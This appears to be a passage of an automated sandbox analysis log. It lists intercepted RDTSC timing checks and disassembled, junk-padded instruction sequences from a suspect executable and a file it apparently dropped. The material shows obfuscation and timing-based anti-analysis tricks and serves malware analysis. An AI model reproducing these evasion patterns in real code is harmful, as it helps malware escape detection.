Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A680C second address: 13A682A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE45D011953h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A682A second address: 13A6830 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A68C0 second address: 13A68D4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b ja 00007FE45D011946h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A6ABF second address: 13A6AC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A6AC3 second address: 13A6AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A6AC9 second address: 13A6ADB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE45D01535Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A80BE second address: 13A80C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9831 second address: 13A9835 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9835 second address: 13A9857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FE45D011958h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9857 second address: 13A9882 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE45D015370h 0x00000008 jmp 00007FE45D015368h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9882 second address: 13A9886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9886 second address: 13A988C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AB864 second address: 13AB890 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE45D01195Ah 0x00000008 jmp 00007FE45D01194Eh 0x0000000d jne 00007FE45D011946h 0x00000013 push eax 0x00000014 jg 00007FE45D011946h 0x0000001a pushad 0x0000001b popad 0x0000001c pop eax 0x0000001d pop edx 0x0000001e pop eax 0x0000001f push edx 0x00000020 push esi 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AB890 second address: 13AB89B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AB89B second address: 13AB89F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B02F4 second address: 57B031C instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE45D01535Ah 0x00000008 or si, 1088h 0x0000000d jmp 00007FE45D01535Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 pop ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B031C second address: 57B0320 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0320 second address: 57B0326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B035E second address: 57B0364 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0364 second address: 57B03D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, esi 0x00000005 pushfd 0x00000006 jmp 00007FE45D015368h 0x0000000b adc ecx, 0B2047A8h 0x00000011 jmp 00007FE45D01535Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b jmp 00007FE45D015366h 0x00000020 push eax 0x00000021 jmp 00007FE45D01535Bh 0x00000026 xchg eax, ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FE45D015365h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B03D2 second address: 57B03D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B03D8 second address: 57B03DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C8718 second address: 12C871E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C871E second address: 12C8747 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D015360h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE45D015360h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C895A second address: 12C895E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C895E second address: 12C896A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C896A second address: 12C896F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B045A second address: 57B04DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FE45D01535Ch 0x00000011 sub esi, 1EB9F918h 0x00000017 jmp 00007FE45D01535Bh 0x0000001c popfd 0x0000001d jmp 00007FE45D015368h 0x00000022 popad 0x00000023 mov ecx, 329A9A51h 0x00000028 popad 0x00000029 mov dword ptr [esp], ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f mov edi, 765DCEBCh 0x00000034 pushfd 0x00000035 jmp 00007FE45D015365h 0x0000003a and si, A416h 0x0000003f jmp 00007FE45D015361h 0x00000044 popfd 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B04DC second address: 57B0502 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D011951h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE45D01194Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B056F second address: 57B0587 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE45D015364h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0587 second address: 57B05D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FE45D011949h 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FE45D01194Dh 0x00000014 xor ch, FFFFFFA6h 0x00000017 jmp 00007FE45D011951h 0x0000001c popfd 0x0000001d mov bl, cl 0x0000001f popad 0x00000020 push eax 0x00000021 jmp 00007FE45D01194Ah 0x00000026 mov eax, dword ptr [esp+04h] 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B05D4 second address: 57B05D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B05D8 second address: 57B05F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D011958h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B05F4 second address: 57B05FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B05FA second address: 57B05FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B077B second address: 57B077F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B077F second address: 57B0783 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0783 second address: 57B0789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0789 second address: 57B0798 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE45D01194Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0798 second address: 57B079C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B079C second address: 57B07C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE45D011957h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B07C0 second address: 57B07C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B07C4 second address: 57B07CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B07CA second address: 57B07D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE45D01535Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B07D9 second address: 57B077B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a jmp 00007FE45D011955h 0x0000000f jne 00007FE45D0118BBh 0x00000015 mov al, byte ptr [edx] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B082A second address: 57B0830 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0830 second address: 57B08E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 dec edi 0x00000009 jmp 00007FE45D011959h 0x0000000e lea ebx, dword ptr [edi+01h] 0x00000011 jmp 00007FE45D01194Eh 0x00000016 mov al, byte ptr [edi+01h] 0x00000019 jmp 00007FE45D011950h 0x0000001e inc edi 0x0000001f jmp 00007FE45D011950h 0x00000024 test al, al 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FE45D01194Eh 0x0000002d sub ax, 0608h 0x00000032 jmp 00007FE45D01194Bh 0x00000037 popfd 0x00000038 call 00007FE45D011958h 0x0000003d push eax 0x0000003e pop edi 0x0000003f pop ecx 0x00000040 popad 0x00000041 jne 00007FE4CDA89AFFh 0x00000047 jmp 00007FE45D01194Dh 0x0000004c mov ecx, edx 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 push ebx 0x00000052 pop eax 0x00000053 mov di, 94BAh 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B08E5 second address: 57B0903 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, cx 0x00000006 mov ecx, 23492199h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e shr ecx, 02h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE45D01535Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0903 second address: 57B0931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D011959h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsd 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE45D01194Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0931 second address: 57B0941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE45D01535Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0941 second address: 57B09CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a pushad 0x0000000b jmp 00007FE45D01194Dh 0x00000010 mov ecx, 1BA5B0E7h 0x00000015 popad 0x00000016 and ecx, 03h 0x00000019 pushad 0x0000001a mov ebx, esi 0x0000001c pushfd 0x0000001d jmp 00007FE45D011954h 0x00000022 adc si, 2448h 0x00000027 jmp 00007FE45D01194Bh 0x0000002c popfd 0x0000002d popad 0x0000002e rep movsb 0x00000030 pushad 0x00000031 mov si, 88DBh 0x00000035 jmp 00007FE45D011950h 0x0000003a popad 0x0000003b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000042 jmp 00007FE45D011950h 0x00000047 mov eax, ebx 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007FE45D01194Ah 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B09CB second address: 57B09DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D01535Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B09DA second address: 57B0A34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE45D01194Fh 0x00000009 xor si, D94Eh 0x0000000e jmp 00007FE45D011959h 0x00000013 popfd 0x00000014 movzx esi, bx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ecx, dword ptr [ebp-10h] 0x0000001d jmp 00007FE45D011953h 0x00000022 mov dword ptr fs:[00000000h], ecx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0A34 second address: 57B0A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0A39 second address: 57B0A3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0A3F second address: 57B0A43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0A43 second address: 57B0A87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 jmp 00007FE45D01194Bh 0x0000000e pop edi 0x0000000f jmp 00007FE45D011956h 0x00000014 pop esi 0x00000015 pushad 0x00000016 call 00007FE45D01194Eh 0x0000001b mov ebx, eax 0x0000001d pop esi 0x0000001e push eax 0x0000001f push edx 0x00000020 mov di, EBD0h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0A87 second address: 57B0ACD instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE45D015369h 0x00000008 xor cx, 2856h 0x0000000d jmp 00007FE45D015361h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FE45D01535Dh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B0ACD second address: 57B056F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE45D011957h 0x00000009 and si, 023Eh 0x0000000e jmp 00007FE45D011959h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FE45D011950h 0x0000001a sbb si, 2738h 0x0000001f jmp 00007FE45D01194Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 leave 0x00000029 jmp 00007FE45D011956h 0x0000002e retn 0008h 0x00000031 cmp dword ptr [ebp-2Ch], 10h 0x00000035 mov eax, dword ptr [ebp-40h] 0x00000038 jnc 00007FE45D011945h 0x0000003a push eax 0x0000003b lea edx, dword ptr [ebp-00000590h] 0x00000041 push edx 0x00000042 call esi 0x00000044 push 00000008h 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 pushfd 0x0000004a jmp 00007FE45D011958h 0x0000004f sub eax, 43F3C758h 0x00000055 jmp 00007FE45D01194Bh 0x0000005a popfd 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CCFA94 second address: CCFA98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CCF370 second address: CCF37C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CCF37C second address: CCF380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CCF380 second address: CCF384 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CCF384 second address: CCF38A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CCF38A second address: CCF39D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE45D01194Eh 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CD1FA5 second address: CD1FBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE45D015364h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CD212F second address: CD21AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D011951h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007FE45D01194Bh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 jnc 00007FE45D01195Ah 0x0000001a pop eax 0x0000001b mov cx, si 0x0000001e lea ebx, dword ptr [ebp+12446E7Fh] 0x00000024 push 00000000h 0x00000026 push esi 0x00000027 call 00007FE45D011948h 0x0000002c pop esi 0x0000002d mov dword ptr [esp+04h], esi 0x00000031 add dword ptr [esp+04h], 00000014h 0x00000039 inc esi 0x0000003a push esi 0x0000003b ret 0x0000003c pop esi 0x0000003d ret 0x0000003e xor dword ptr [ebp+122D1CA2h], eax 0x00000044 mov dh, cl 0x00000046 xchg eax, ebx 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007FE45D01194Ch 0x0000004e rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CD21AC second address: CD21C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FE45D015356h 0x00000009 jbe 00007FE45D015356h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CD231C second address: CD233A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE45D011955h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CD233A second address: CD2340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CD2340 second address: CD235F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push esi 0x0000000b jp 00007FE45D011948h 0x00000011 pushad 0x00000012 popad 0x00000013 pop esi 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jnp 00007FE45D011946h 0x0000001f rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CD235F second address: CD238A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FE45D015366h 0x0000000c popad 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jns 00007FE45D015356h 0x0000001b rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CD238A second address: CD2390 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CD2390 second address: CD2396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CD2396 second address: CD239A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CD2485 second address: CD248F instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE45D01535Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CD255E second address: CD2563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF16C1 second address: CF16C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF182D second address: CF1860 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FE45D011946h 0x00000009 jmp 00007FE45D011958h 0x0000000e jmp 00007FE45D011950h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF19C1 second address: CF19C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF1B24 second address: CF1B28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF1B28 second address: CF1B34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF1B34 second address: CF1B38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
